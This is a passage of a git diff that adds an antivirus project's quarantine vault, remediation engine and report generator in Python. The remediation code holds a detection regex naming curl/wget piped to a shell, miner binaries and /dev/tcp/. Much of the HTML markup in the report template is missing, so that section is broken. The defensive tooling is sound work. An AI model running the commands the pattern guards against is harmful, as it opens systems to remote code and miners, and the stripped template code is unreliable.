+1,378 @@ +"""Encrypted quarantine vault for AYN Antivirus. + +Isolates malicious files by encrypting them with Fernet (AES-128-CBC + +HMAC-SHA256) and storing them alongside JSON metadata in a dedicated +vault directory. Files can be restored, inspected, or permanently deleted. +""" + +from __future__ import annotations + +import fcntl +import json +import logging +import os +import re +import shutil +import stat +from datetime import datetime, timedelta +from pathlib import Path +from typing import Any, Dict, List, Optional +from uuid import uuid4 + +from cryptography.fernet import Fernet + +from ayn_antivirus.constants import ( + DEFAULT_QUARANTINE_PATH, + QUARANTINE_ENCRYPTION_KEY_FILE, + SCAN_CHUNK_SIZE, +) +from ayn_antivirus.core.event_bus import EventType, event_bus + +logger = logging.getLogger(__name__) + + +class QuarantineVault: + """Encrypted file quarantine vault. + + Parameters + ---------- + quarantine_dir: + Directory where encrypted files and metadata are stored. + key_file_path: + Path to the Fernet key file. Generated automatically on first use. + """ + + _VALID_QID_PATTERN = re.compile(r'^[a-f0-9]{32}$') + + # Directories that should never be a restore destination. + _BLOCKED_DIRS = frozenset({ + Path("/etc"), Path("/usr/bin"), Path("/usr/sbin"), Path("/sbin"), + Path("/bin"), Path("/boot"), Path("/root/.ssh"), Path("/proc"), + Path("/sys"), Path("/dev"), Path("/var/run"), + }) + + # Directories used for scheduled tasks — never restore into these. + _CRON_DIRS = frozenset({ + Path("/etc/cron.d"), Path("/etc/cron.daily"), + Path("/etc/cron.hourly"), Path("/var/spool/cron"), + Path("/etc/systemd"), + }) + + def __init__( + self, + quarantine_dir: str | Path = DEFAULT_QUARANTINE_PATH, + key_file_path: str | Path = QUARANTINE_ENCRYPTION_KEY_FILE, + ) -> None: + self.vault_dir = Path(quarantine_dir) + self.key_file = Path(key_file_path) + self._fernet: Optional[Fernet] = None + + # Ensure directories exist. + self.vault_dir.mkdir(parents=True, exist_ok=True) + self.key_file.parent.mkdir(parents=True, exist_ok=True) + + # ------------------------------------------------------------------ + # Input validation + # ------------------------------------------------------------------ + + def _validate_qid(self, quarantine_id: str) -> str: + """Validate quarantine ID is a hex UUID (no path traversal). + + Raises :class:`ValueError` if the ID does not match the expected + 32-character hexadecimal format. + """ + qid = quarantine_id.strip() + if not self._VALID_QID_PATTERN.match(qid): + raise ValueError( + f"Invalid quarantine ID format: {quarantine_id!r} " + f"(must be 32 hex chars)" + ) + return qid + + def _validate_restore_path(self, path_str: str) -> Path: + """Validate restore path to prevent directory traversal. + + Blocks restoring to sensitive system directories and scheduled- + task directories. Resolves all paths to handle symlinks like + ``/etc`` → ``/private/etc`` on macOS. + """ + dest = Path(path_str).resolve() + for blocked in self._BLOCKED_DIRS: + resolved = blocked.resolve() + if dest == resolved or resolved in dest.parents or dest.parent == resolved: + raise ValueError(f"Refusing to restore to protected path: {dest}") + for cron_dir in self._CRON_DIRS: + resolved = cron_dir.resolve() + if resolved in dest.parents or dest.parent == resolved: + raise ValueError( + f"Refusing to restore to scheduled task directory: {dest}" + ) + return dest + + # ------------------------------------------------------------------ + # Key management + # ------------------------------------------------------------------ + + def _get_fernet(self) -> Fernet: + """Return the cached Fernet instance, loading or generating the key.""" + if self._fernet is not None: + return self._fernet + + if self.key_file.exists(): + key = self.key_file.read_bytes().strip() + else: + key = Fernet.generate_key() + # Write key with restricted permissions. + fd = os.open( + str(self.key_file), + os.O_WRONLY | os.O_CREAT | os.O_TRUNC, + 0o600, + ) + try: + os.write(fd, key + b"\n") + finally: + os.close(fd) + logger.info("Generated new quarantine encryption key: %s", self.key_file) + + self._fernet = Fernet(key) + return self._fernet + + # ------------------------------------------------------------------ + # Quarantine + # ------------------------------------------------------------------ + + def quarantine_file( + self, + file_path: str | Path, + threat_info: Dict[str, Any], + ) -> str: + """Encrypt and move a file into the vault. + + Parameters + ---------- + file_path: + Path to the file to quarantine. + threat_info: + Metadata dict (typically from a detector result). Expected keys: + ``threat_name``, ``threat_type``, ``severity``, ``file_hash``. + + Returns + ------- + str + The quarantine ID (UUID) for this entry. + """ + src = Path(file_path).resolve() + if not src.is_file(): + raise FileNotFoundError(f"Cannot quarantine: {src} does not exist or is not a file") + + qid = uuid4().hex + fernet = self._get_fernet() + + # Lock, read, and encrypt (prevents TOCTOU races). + with open(src, "rb") as f: + fcntl.flock(f.fileno(), fcntl.LOCK_EX) + plaintext = f.read() + st = os.fstat(f.fileno()) + fcntl.flock(f.fileno(), fcntl.LOCK_UN) + ciphertext = fernet.encrypt(plaintext) + + # Gather metadata. + meta = { + "id": qid, + "original_path": str(src), + "original_permissions": oct(st.st_mode & 0o7777), + "threat_name": threat_info.get("threat_name", "Unknown"), + "threat_type": threat_info.get("threat_type", "MALWARE"), + "severity": threat_info.get("severity", "HIGH"), + "quarantine_date": datetime.utcnow().isoformat(), + "file_hash": threat_info.get("file_hash", ""), + "file_size": st.st_size, + } + + # Write encrypted file + metadata. + enc_path = self.vault_dir / f"{qid}.enc" + meta_path = self.vault_dir / f"{qid}.json" + enc_path.write_bytes(ciphertext) + meta_path.write_text(json.dumps(meta, indent=2)) + + # Remove original. + try: + src.unlink() + logger.info("Quarantined %s → %s (threat: %s)", src, qid, meta["threat_name"]) + except OSError as exc: + logger.warning("Encrypted copy saved but failed to remove original %s: %s", src, exc) + + event_bus.publish(EventType.QUARANTINE_ACTION, { + "action": "quarantine", + "quarantine_id": qid, + "original_path": str(src), + "threat_name": meta["threat_name"], + }) + + return qid + + # ------------------------------------------------------------------ + # Restore + # ------------------------------------------------------------------ + + def restore_file( + self, + quarantine_id: str, + restore_path: Optional[str | Path] = None, + ) -> str: + """Decrypt and restore a quarantined file. + + Parameters + ---------- + quarantine_id: + UUID returned by :meth:`quarantine_file`. + restore_path: + Where to write the restored file. Defaults to the original path. + + Returns + ------- + str + Absolute path of the restored file. + + Raises + ------ + ValueError + If the quarantine ID is malformed or the restore path points + to a protected system directory. + """ + qid = self._validate_qid(quarantine_id) + meta = self._load_meta(qid) + enc_path = self.vault_dir / f"{qid}.enc" + + if not enc_path.exists(): + raise FileNotFoundError(f"Encrypted file not found for quarantine ID {qid}") + + # Validate restore destination. + if restore_path: + dest = self._validate_restore_path(str(restore_path)) + else: + dest = self._validate_restore_path(str(meta["original_path"])) + + fernet = self._get_fernet() + ciphertext = enc_path.read_bytes() + plaintext = fernet.decrypt(ciphertext) + + dest.parent.mkdir(parents=True, exist_ok=True) + dest.write_bytes(plaintext) + + # Restore original permissions, stripping SUID/SGID/sticky bits. + try: + perms = int(meta.get("original_permissions", "0o644"), 8) + perms = perms & 0o0777 # Keep only rwx bits + dest.chmod(perms) + except (ValueError, OSError): + pass + + logger.info("Restored quarantined file %s → %s", qid, dest) + + event_bus.publish(EventType.QUARANTINE_ACTION, { + "action": "restore", + "quarantine_id": qid, + "restored_path": str(dest), + }) + + return str(dest.resolve()) + + # ------------------------------------------------------------------ + # Delete + # ------------------------------------------------------------------ + + def delete_file(self, quarantine_id: str) -> bool: + """Permanently remove a quarantined entry (encrypted file + metadata). + + Returns ``True`` if files were deleted. + """ + qid = self._validate_qid(quarantine_id) + enc_path = self.vault_dir / f"{qid}.enc" + meta_path = self.vault_dir / f"{qid}.json" + + deleted = False + for p in (enc_path, meta_path): + if p.exists(): + p.unlink() + deleted = True + + if deleted: + logger.info("Permanently deleted quarantine entry: %s", qid) + event_bus.publish(EventType.QUARANTINE_ACTION, { + "action": "delete", + "quarantine_id": qid, + }) + + return deleted + + # ------------------------------------------------------------------ + # Listing / info + # ------------------------------------------------------------------ + + def list_quarantined(self) -> List[Dict[str, Any]]: + """Return a summary list of all quarantined items.""" + items: List[Dict[str, Any]] = [] + for meta_file in sorted(self.vault_dir.glob("*.json")): + try: + meta = json.loads(meta_file.read_text()) + items.append({ + "id": meta.get("id", meta_file.stem), + "original_path": meta.get("original_path", "?"), + "threat_name": meta.get("threat_name", "?"), + "quarantine_date": meta.get("quarantine_date", "?"), + "size": meta.get("file_size", 0), + }) + except (json.JSONDecodeError, OSError): + continue + return items + + def get_info(self, quarantine_id: str) -> Dict[str, Any]: + """Return full metadata for a quarantine entry. + + Raises ``FileNotFoundError`` if the ID is unknown. + """ + qid = self._validate_qid(quarantine_id) + return self._load_meta(qid) + + def count(self) -> int: + """Number of items currently in the vault.""" + return len(list(self.vault_dir.glob("*.json"))) + + # ------------------------------------------------------------------ + # Maintenance + # ------------------------------------------------------------------ + + def clean_old(self, days: int = 30) -> int: + """Delete quarantine entries older than *days*. + + Returns the number of entries removed. + """ + cutoff = datetime.utcnow() - timedelta(days=days) + removed = 0 + + for meta_file in self.vault_dir.glob("*.json"): + try: + meta = json.loads(meta_file.read_text()) + qdate = datetime.fromisoformat(meta.get("quarantine_date", "")) + if qdate < cutoff: + qid = meta.get("id", meta_file.stem) + self.delete_file(qid) + removed += 1 + except (json.JSONDecodeError, ValueError, OSError): + continue + + if removed: + logger.info("Cleaned %d quarantine entries older than %d days", removed, days) + return removed + + # ------------------------------------------------------------------ + # Internal + # ------------------------------------------------------------------ + + def _load_meta(self, quarantine_id: str) -> Dict[str, Any]: + qid = self._validate_qid(quarantine_id) + meta_path = self.vault_dir / f"{qid}.json" + if not meta_path.exists(): + raise FileNotFoundError(f"Quarantine metadata not found: {qid}") + return json.loads(meta_path.read_text()) diff --git a/ayn-antivirus/ayn_antivirus/remediation/__init__.py b/ayn-antivirus/ayn_antivirus/remediation/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/remediation/patcher.py b/ayn-antivirus/ayn_antivirus/remediation/patcher.py new file mode 100644 index 0000000..2649f5d --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/remediation/patcher.py @@ -0,0 +1,544 @@ +"""Automated remediation engine for AYN Antivirus. + +Provides targeted fix actions for different threat types: permission +hardening, process killing, cron cleanup, SSH key auditing, startup +script removal, LD_PRELOAD cleaning, IP/domain blocking, and system +binary restoration via the system package manager. + +All actions support a **dry-run** mode that logs intended changes without +modifying the system. +""" + +from __future__ import annotations + +import logging +import os +import re +import shutil +import stat +import subprocess +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any, Dict, List, Optional + +import psutil + +from ayn_antivirus.constants import SUSPICIOUS_CRON_PATTERNS +from ayn_antivirus.core.event_bus import EventType, event_bus + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Action record +# --------------------------------------------------------------------------- + +@dataclass +class RemediationAction: + """Describes a single remediation step.""" + + action: str + target: str + details: str = "" + success: bool = False + dry_run: bool = False + + +# --------------------------------------------------------------------------- +# AutoPatcher +# --------------------------------------------------------------------------- + +class AutoPatcher: + """Apply targeted remediations against discovered threats. + + Parameters + ---------- + dry_run: + If ``True``, no changes are made — only the intended actions are + logged and returned. + """ + + def __init__(self, dry_run: bool = False) -> None: + self.dry_run = dry_run + self.actions: List[RemediationAction] = [] + + # ------------------------------------------------------------------ + # High-level dispatcher + # ------------------------------------------------------------------ + + def remediate_threat(self, threat_info: Dict[str, Any]) -> List[RemediationAction]: + """Choose and execute the correct fix(es) for *threat_info*. + + Routes on ``threat_type`` (MINER, ROOTKIT, SPYWARE, MALWARE, etc.) + and the available metadata. + """ + ttype = (threat_info.get("threat_type") or "").upper() + path = threat_info.get("path", "") + pid = threat_info.get("pid") + + actions: List[RemediationAction] = [] + + # Kill associated process. + if pid: + actions.append(self.kill_malicious_process(int(pid))) + + # Quarantine / permission fix for file-based threats. + if path and Path(path).exists(): + actions.append(self.fix_permissions(path)) + + # Type-specific extras. + if ttype == "ROOTKIT": + actions.append(self.fix_ld_preload()) + elif ttype == "MINER": + # Block known pool domains if we have one. + domain = threat_info.get("domain") + if domain: + actions.append(self.block_domain(domain)) + ip = threat_info.get("ip") + if ip: + actions.append(self.block_ip(ip)) + elif ttype == "SPYWARE": + if path and "cron" in path: + actions.append(self.remove_malicious_cron()) + + for a in actions: + self._publish(a) + + self.actions.extend(actions) + return actions + + # ------------------------------------------------------------------ + # Permission fixes + # ------------------------------------------------------------------ + + def fix_permissions(self, path: str | Path) -> RemediationAction: + """Remove SUID, SGID, and world-writable bits from *path*.""" + p = Path(path) + action = RemediationAction( + action="fix_permissions", + target=str(p), + dry_run=self.dry_run, + ) + + try: + st = p.stat() + old_mode = st.st_mode + new_mode = old_mode + + # Strip SUID / SGID. + new_mode &= ~stat.S_ISUID + new_mode &= ~stat.S_ISGID + # Strip world-writable. + new_mode &= ~stat.S_IWOTH + + if new_mode == old_mode: + action.details = "Permissions already safe" + action.success = True + return action + + action.details = ( + f"Changing permissions: {oct(old_mode & 0o7777)} → {oct(new_mode & 0o7777)}" + ) + + if not self.dry_run: + p.chmod(new_mode) + + action.success = True + logger.info("fix_permissions: %s %s", action.details, "(dry-run)" if self.dry_run else "") + except OSError as exc: + action.details = f"Failed: {exc}" + logger.error("fix_permissions failed on %s: %s", p, exc) + + return action + + # ------------------------------------------------------------------ + # Process killing + # ------------------------------------------------------------------ + + def kill_malicious_process(self, pid: int) -> RemediationAction: + """Send SIGKILL to *pid*.""" + action = RemediationAction( + action="kill_process", + target=str(pid), + dry_run=self.dry_run, + ) + + try: + proc = psutil.Process(pid) + action.details = f"Process: {proc.name()} (PID {pid})" + except psutil.NoSuchProcess: + action.details = f"PID {pid} no longer exists" + action.success = True + return action + + if self.dry_run: + action.success = True + return action + + try: + proc.kill() + proc.wait(timeout=5) + action.success = True + logger.info("Killed process %d (%s)", pid, proc.name()) + except psutil.NoSuchProcess: + action.success = True + action.details += " (already exited)" + except (psutil.AccessDenied, psutil.TimeoutExpired) as exc: + action.details += f" — {exc}" + logger.error("Failed to kill PID %d: %s", pid, exc) + + return action + + # ------------------------------------------------------------------ + # Cron cleanup + # ------------------------------------------------------------------ + + def remove_malicious_cron(self, pattern: Optional[str] = None) -> RemediationAction: + """Remove cron entries matching suspicious patterns. + + If *pattern* is ``None``, uses all :pydata:`SUSPICIOUS_CRON_PATTERNS`. + """ + action = RemediationAction( + action="remove_malicious_cron", + target="/var/spool/cron + /etc/cron.d", + dry_run=self.dry_run, + ) + + patterns = [re.compile(pattern)] if pattern else [ + re.compile(p) for p in SUSPICIOUS_CRON_PATTERNS + ] + + removed_lines: List[str] = [] + + cron_dirs = [ + Path("/var/spool/cron/crontabs"), + Path("/var/spool/cron"), + Path("/etc/cron.d"), + ] + + for cron_dir in cron_dirs: + if not cron_dir.is_dir(): + continue + for cron_file in cron_dir.iterdir(): + if not cron_file.is_file(): + continue + try: + lines = cron_file.read_text().splitlines() + clean_lines = [] + for line in lines: + if any(pat.search(line) for pat in patterns): + removed_lines.append(f"{cron_file}: {line.strip()}") + else: + clean_lines.append(line) + + if len(clean_lines) < len(lines) and not self.dry_run: + cron_file.write_text("\n".join(clean_lines) + "\n") + except OSError: + continue + + action.details = f"Removed {len(removed_lines)} cron line(s)" + if removed_lines: + action.details += ": " + "; ".join(removed_lines[:5]) + action.success = True + logger.info("remove_malicious_cron: %s", action.details) + + return action + + # ------------------------------------------------------------------ + # SSH key cleanup + # ------------------------------------------------------------------ + + def clean_authorized_keys(self, path: Optional[str | Path] = None) -> RemediationAction: + """Remove unauthorized keys from ``authorized_keys``. + + Without *path*, scans all users' ``~/.ssh/authorized_keys`` plus + ``/root/.ssh/authorized_keys``. + + In non-dry-run mode, backs up the file before modifying. + """ + action = RemediationAction( + action="clean_authorized_keys", + target=str(path) if path else "all users", + dry_run=self.dry_run, + ) + + targets: List[Path] = [] + if path: + targets.append(Path(path)) + else: + # Root + root_ak = Path("/root/.ssh/authorized_keys") + if root_ak.exists(): + targets.append(root_ak) + # System users from /home + home = Path("/home") + if home.is_dir(): + for user_dir in home.iterdir(): + ak = user_dir / ".ssh" / "authorized_keys" + if ak.exists(): + targets.append(ak) + + total_removed = 0 + for ak_path in targets: + try: + lines = ak_path.read_text().splitlines() + clean: List[str] = [] + for line in lines: + stripped = line.strip() + if not stripped or stripped.startswith("#"): + clean.append(line) + continue + # Flag lines with forced commands as suspicious. + if stripped.startswith("command="): + total_removed += 1 + continue + clean.append(line) + + if len(clean) < len(lines) and not self.dry_run: + backup = ak_path.with_suffix(".bak") + shutil.copy2(str(ak_path), str(backup)) + ak_path.write_text("\n".join(clean) + "\n") + except OSError: + continue + + action.details = f"Removed {total_removed} suspicious key(s) from {len(targets)} file(s)" + action.success = True + logger.info("clean_authorized_keys: %s", action.details) + + return action + + # ------------------------------------------------------------------ + # Startup script cleanup + # ------------------------------------------------------------------ + + def remove_suspicious_startup(self, path: Optional[str | Path] = None) -> RemediationAction: + """Remove suspicious entries from init scripts, systemd units, or rc.local.""" + action = RemediationAction( + action="remove_suspicious_startup", + target=str(path) if path else "/etc/init.d, systemd, rc.local", + dry_run=self.dry_run, + ) + + suspicious_re = re.compile( + r"(?:curl|wget)\s+.*\|\s*(?:sh|bash)|xmrig|minerd|/dev/tcp/|nohup\s+.*&", + re.IGNORECASE, + ) + + targets: List[Path] = [] + if path: + targets.append(Path(path)) + else: + rc_local = Path("/etc/rc.local") + if rc_local.exists(): + targets.append(rc_local) + for d in ("/etc/init.d", "/etc/systemd/system"): + dp = Path(d) + if dp.is_dir(): + targets.extend(f for f in dp.iterdir() if f.is_file()) + + cleaned_count = 0 + for target in targets: + try: + content = target.read_text() + lines = content.splitlines() + clean = [l for l in lines if not suspicious_re.search(l)] + if len(clean) < len(lines): + cleaned_count += len(lines) - len(clean) + if not self.dry_run: + backup = target.with_suffix(target.suffix + ".bak") + shutil.copy2(str(target), str(backup)) + target.write_text("\n".join(clean) + "\n") + except OSError: + continue + + action.details = f"Removed {cleaned_count} suspicious line(s) from {len(targets)} file(s)" + action.success = True + logger.info("remove_suspicious_startup: %s", action.details) + + return action + + # ------------------------------------------------------------------ + # LD_PRELOAD cleanup + # ------------------------------------------------------------------ + + def fix_ld_preload(self) -> RemediationAction: + """Remove all entries from ``/etc/ld.so.preload``.""" + action = RemediationAction( + action="fix_ld_preload", + target="/etc/ld.so.preload", + dry_run=self.dry_run, + ) + + ld_path = Path("/etc/ld.so.preload") + if not ld_path.exists(): + action.details = "File does not exist — nothing to fix" + action.success = True + return action + + try: + content = ld_path.read_text().strip() + if not content: + action.details = "File is already empty" + action.success = True + return action + + action.details = f"Clearing ld.so.preload (was: {content[:120]})" + + if not self.dry_run: + backup = ld_path.with_suffix(".bak") + shutil.copy2(str(ld_path), str(backup)) + ld_path.write_text("") + + action.success = True + logger.info("fix_ld_preload: %s", action.details) + except OSError as exc: + action.details = f"Failed: {exc}" + logger.error("fix_ld_preload: %s", exc) + + return action + + # ------------------------------------------------------------------ + # Network blocking + # ------------------------------------------------------------------ + + def block_ip(self, ip_address: str) -> RemediationAction: + """Add an iptables DROP rule for *ip_address*.""" + action = RemediationAction( + action="block_ip", + target=ip_address, + dry_run=self.dry_run, + ) + + cmd = ["iptables", "-A", "OUTPUT", "-d", ip_address, "-j", "DROP"] + action.details = f"Rule: {' '.join(cmd)}" + + if self.dry_run: + action.success = True + return action + + try: + subprocess.check_call(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, timeout=10) + action.success = True + logger.info("Blocked IP via iptables: %s", ip_address) + except (subprocess.CalledProcessError, FileNotFoundError, OSError) as exc: + action.details += f" — failed: {exc}" + logger.error("Failed to block IP %s: %s", ip_address, exc) + + return action + + def block_domain(self, domain: str) -> RemediationAction: + """Redirect *domain* to 127.0.0.1 via ``/etc/hosts``.""" + action = RemediationAction( + action="block_domain", + target=domain, + dry_run=self.dry_run, + ) + + hosts_path = Path("/etc/hosts") + entry = f"127.0.0.1 {domain} # blocked by ayn-antivirus" + action.details = f"Adding to /etc/hosts: {entry}" + + if self.dry_run: + action.success = True + return action + + try: + current = hosts_path.read_text() + if domain in current: + action.details = f"Domain {domain} already in /etc/hosts" + action.success = True + return action + with open(hosts_path, "a") as fh: + fh.write(f"\n{entry}\n") + action.success = True + logger.info("Blocked domain via /etc/hosts: %s", domain) + except OSError as exc: + action.details += f" — failed: {exc}" + logger.error("Failed to block domain %s: %s", domain, exc) + + return action + + # ------------------------------------------------------------------ + # System binary restoration + # ------------------------------------------------------------------ + + def restore_system_binary(self, binary_path: str | Path) -> RemediationAction: + """Reinstall the package owning *binary_path* using the system package manager.""" + binary_path = Path(binary_path) + action = RemediationAction( + action="restore_system_binary", + target=str(binary_path), + dry_run=self.dry_run, + ) + + # Determine package manager and owning package. + pkg_name, pm_cmd = _find_owning_package(binary_path) + + if not pkg_name: + action.details = f"Cannot determine owning package for {binary_path}" + return action + + reinstall_cmd = pm_cmd + [pkg_name] + action.details = f"Reinstalling package '{pkg_name}': {' '.join(reinstall_cmd)}" + + if self.dry_run: + action.success = True + return action + + try: + subprocess.check_call( + reinstall_cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, timeout=120 + ) + action.success = True + logger.info("Restored %s via %s", binary_path, " ".join(reinstall_cmd)) + except (subprocess.CalledProcessError, FileNotFoundError, OSError) as exc: + action.details += f" — failed: {exc}" + logger.error("Failed to restore %s: %s", binary_path, exc) + + return action + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + def _publish(self, action: RemediationAction) -> None: + event_bus.publish(EventType.REMEDIATION_ACTION, { + "action": action.action, + "target": action.target, + "details": action.details, + "success": action.success, + "dry_run": action.dry_run, + }) + + +# --------------------------------------------------------------------------- +# Package-manager helpers +# --------------------------------------------------------------------------- + +def _find_owning_package(binary_path: Path) -> tuple: + """Return ``(package_name, reinstall_command_prefix)`` or ``("", [])``.""" + path_str = str(binary_path) + + # dpkg (Debian/Ubuntu) + try: + out = subprocess.check_output( + ["dpkg", "-S", path_str], stderr=subprocess.DEVNULL, timeout=10 + ).decode().strip() + pkg = out.split(":")[0] + return pkg, ["apt-get", "install", "--reinstall", "-y"] + except (subprocess.CalledProcessError, FileNotFoundError, OSError): + pass + + # rpm (RHEL/CentOS/Fedora) + try: + out = subprocess.check_output( + ["rpm", "-qf", path_str], stderr=subprocess.DEVNULL, timeout=10 + ).decode().strip() + if "not owned" not in out: + # Try dnf first, fall back to yum. + pm = "dnf" if shutil.which("dnf") else "yum" + return out, [pm, "reinstall", "-y"] + except (subprocess.CalledProcessError, FileNotFoundError, OSError): + pass + + return "", [] diff --git a/ayn-antivirus/ayn_antivirus/reports/__init__.py b/ayn-antivirus/ayn_antivirus/reports/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/reports/generator.py b/ayn-antivirus/ayn_antivirus/reports/generator.py new file mode 100644 index 0000000..223f602 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/reports/generator.py @@ -0,0 +1,535 @@ +"""Report generator for AYN Antivirus. + +Produces scan reports in plain-text, JSON, and HTML formats from +:class:`ScanResult` / :class:`FullScanResult` dataclasses. +""" + +from __future__ import annotations + +import html as html_mod +import json +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional, Union + +from ayn_antivirus import __version__ +from ayn_antivirus.core.engine import ( + FullScanResult, + ScanResult, + ThreatInfo, +) +from ayn_antivirus.utils.helpers import format_duration, format_size, get_system_info + +# Type alias for either result kind. +AnyResult = Union[ScanResult, FullScanResult] + + +class ReportGenerator: + """Create scan reports in multiple output formats.""" + + # ------------------------------------------------------------------ + # Plain text + # ------------------------------------------------------------------ + + @staticmethod + def generate_text(result: AnyResult) -> str: + """Render a human-readable plain-text report.""" + threats, meta = _extract(result) + lines: List[str] = [] + + lines.append("=" * 72) + lines.append(" AYN ANTIVIRUS — SCAN REPORT") + lines.append("=" * 72) + lines.append("") + lines.append(f" Generated : {datetime.utcnow().isoformat()}") + lines.append(f" Version : {__version__}") + lines.append(f" Scan ID : {meta.get('scan_id', 'N/A')}") + lines.append(f" Scan Type : {meta.get('scan_type', 'N/A')}") + lines.append(f" Duration : {format_duration(meta.get('duration', 0))}") + lines.append("") + + # Summary. + sev_counts = _severity_counts(threats) + lines.append("-" * 72) + lines.append(" SUMMARY") + lines.append("-" * 72) + lines.append(f" Files scanned : {meta.get('files_scanned', 0)}") + lines.append(f" Files skipped : {meta.get('files_skipped', 0)}") + lines.append(f" Threats found : {len(threats)}") + lines.append(f" CRITICAL : {sev_counts.get('CRITICAL', 0)}") + lines.append(f" HIGH : {sev_counts.get('HIGH', 0)}") + lines.append(f" MEDIUM : {sev_counts.get('MEDIUM', 0)}") + lines.append(f" LOW : {sev_counts.get('LOW', 0)}") + lines.append("") + + # Threat table. + if threats: + lines.append("-" * 72) + lines.append(" THREATS") + lines.append("-" * 72) + hdr = f" {'#':>3} {'Severity':<10} {'Threat Name':<30} {'File'}" + lines.append(hdr) + lines.append(" " + "-" * 68) + for idx, t in enumerate(threats, 1): + sev = _sev_str(t) + name = t.threat_name[:30] + fpath = t.path[:60] + lines.append(f" {idx:>3} {sev:<10} {name:<30} {fpath}") + lines.append("") + + # System info. + try: + info = get_system_info() + lines.append("-" * 72) + lines.append(" SYSTEM INFORMATION") + lines.append("-" * 72) + lines.append(f" Hostname : {info['hostname']}") + lines.append(f" OS : {info['os_pretty']}") + lines.append(f" CPUs : {info['cpu_count']}") + lines.append(f" Memory : {info['memory_total_human']}") + lines.append(f" Uptime : {info['uptime_human']}") + lines.append("") + except Exception: + pass + + lines.append("=" * 72) + lines.append(f" Report generated by AYN Antivirus v{__version__}") + lines.append("=" * 72) + return "\n".join(lines) + "\n" + + # ------------------------------------------------------------------ + # JSON + # ------------------------------------------------------------------ + + @staticmethod + def generate_json(result: AnyResult) -> str: + """Render a machine-readable JSON report.""" + threats, meta = _extract(result) + sev_counts = _severity_counts(threats) + + try: + sys_info = get_system_info() + except Exception: + sys_info = {} + + report: Dict[str, Any] = { + "generator": f"ayn-antivirus v{__version__}", + "generated_at": datetime.utcnow().isoformat(), + "scan": { + "scan_id": meta.get("scan_id"), + "scan_type": meta.get("scan_type"), + "start_time": meta.get("start_time"), + "end_time": meta.get("end_time"), + "duration_seconds": meta.get("duration"), + "files_scanned": meta.get("files_scanned", 0), + "files_skipped": meta.get("files_skipped", 0), + }, + "summary": { + "total_threats": len(threats), + "by_severity": sev_counts, + }, + "threats": [ + { + "path": t.path, + "threat_name": t.threat_name, + "threat_type": t.threat_type.name if hasattr(t.threat_type, "name") else str(t.threat_type), + "severity": _sev_str(t), + "detector": t.detector_name, + "details": t.details, + "file_hash": t.file_hash, + "timestamp": t.timestamp.isoformat() if hasattr(t.timestamp, "isoformat") else str(t.timestamp), + } + for t in threats + ], + "system": sys_info, + } + return json.dumps(report, indent=2, default=str) + + # ------------------------------------------------------------------ + # HTML + # ------------------------------------------------------------------ + + @staticmethod + def generate_html(result: AnyResult) -> str: + """Render a professional HTML report with dark-theme CSS.""" + threats, meta = _extract(result) + sev_counts = _severity_counts(threats) + now = datetime.utcnow() + esc = html_mod.escape + + try: + sys_info = get_system_info() + except Exception: + sys_info = {} + + total_threats = len(threats) + status_class = "clean" if total_threats == 0 else "infected" + + # --- Build threat table rows --- + threat_rows = [] + for idx, t in enumerate(threats, 1): + sev = _sev_str(t) + sev_lower = sev.lower() + ttype = t.threat_type.name if hasattr(t.threat_type, "name") else str(t.threat_type) + threat_rows.append( + f"" + f'{idx}' + f"{esc(t.path)}" + f"{esc(t.threat_name)}" + f"{esc(ttype)}" + f'{sev}' + f"{esc(t.detector_name)}" + f'{esc(t.file_hash[:16])}{"…" if len(t.file_hash) > 16 else ""}' + f"" + ) + + threat_table = "\n".join(threat_rows) if threat_rows else ( + 'No threats detected ✅' + ) + + # --- System info rows --- + sys_rows = "" + if sys_info: + sys_rows = ( + f"Hostname{esc(str(sys_info.get('hostname', '')))}" + f"Operating System{esc(str(sys_info.get('os_pretty', '')))}" + f"Architecture{esc(str(sys_info.get('architecture', '')))}" + f"CPUs{sys_info.get('cpu_count', '?')}" + f"Memory{esc(str(sys_info.get('memory_total_human', '')))}" + f" ({sys_info.get('memory_percent', '?')}% used)" + f"Uptime{esc(str(sys_info.get('uptime_human', '')))}" + ) + + html = f"""\ + + + + + +AYN Antivirus — Scan Report + + + + + +
+ +
Scan Report — {esc(now.strftime("%Y-%m-%d %H:%M:%S"))}
+
+ + +
+
+
{meta.get("files_scanned", 0)}
+
Files Scanned
+
+
+
{total_threats}
+
Threats Found
+
+
+
{sev_counts.get("CRITICAL", 0)}
+
Critical
+
+
+
{sev_counts.get("HIGH", 0)}
+
High
+
+
+
{sev_counts.get("MEDIUM", 0)}
+
Medium
+
+
+
{sev_counts.get("LOW", 0)}
+
Low
+
+
+ + +
+

Scan Details

+ + + + + + +
Scan ID{esc(str(meta.get("scan_id", "N/A")))}
Scan Type{esc(str(meta.get("scan_type", "N/A")))}
Duration{esc(format_duration(meta.get("duration", 0)))}
Files Scanned{meta.get("files_scanned", 0)}
Files Skipped{meta.get("files_skipped", 0)}
+
+ + +
+

Threat Details

+ + + + + + + + + + + + + + {threat_table} + +
#File PathThreat NameTypeSeverityDetectorHash
+
+ + +
+

System Information

+ + {sys_rows} +
+
+ + +
+ Generated by AYN Antivirus v{__version__} — {esc(now.isoformat())} +
+ + + +""" + return html + + # ------------------------------------------------------------------ + # File output + # ------------------------------------------------------------------ + + @staticmethod + def save_report(content: str, filepath: str | Path) -> None: + """Write *content* to *filepath*, creating parent dirs if needed.""" + fp = Path(filepath) + fp.parent.mkdir(parents=True, exist_ok=True) + fp.write_text(content, encoding="utf-8") + + +# --------------------------------------------------------------------------- +# Internal helpers +# --------------------------------------------------------------------------- + +def _extract(result: AnyResult) -> tuple: + """Return ``(threats_list, meta_dict)`` from either result type.""" + if isinstance(result, FullScanResult): + sr = result.file_scan + threats = list(sr.threats) + elif isinstance(result, ScanResult): + sr = result + threats = list(sr.threats) + else: + sr = result + threats = [] + + meta: Dict[str, Any] = { + "scan_id": getattr(sr, "scan_id", None), + "scan_type": sr.scan_type.value if hasattr(sr, "scan_type") else None, + "start_time": 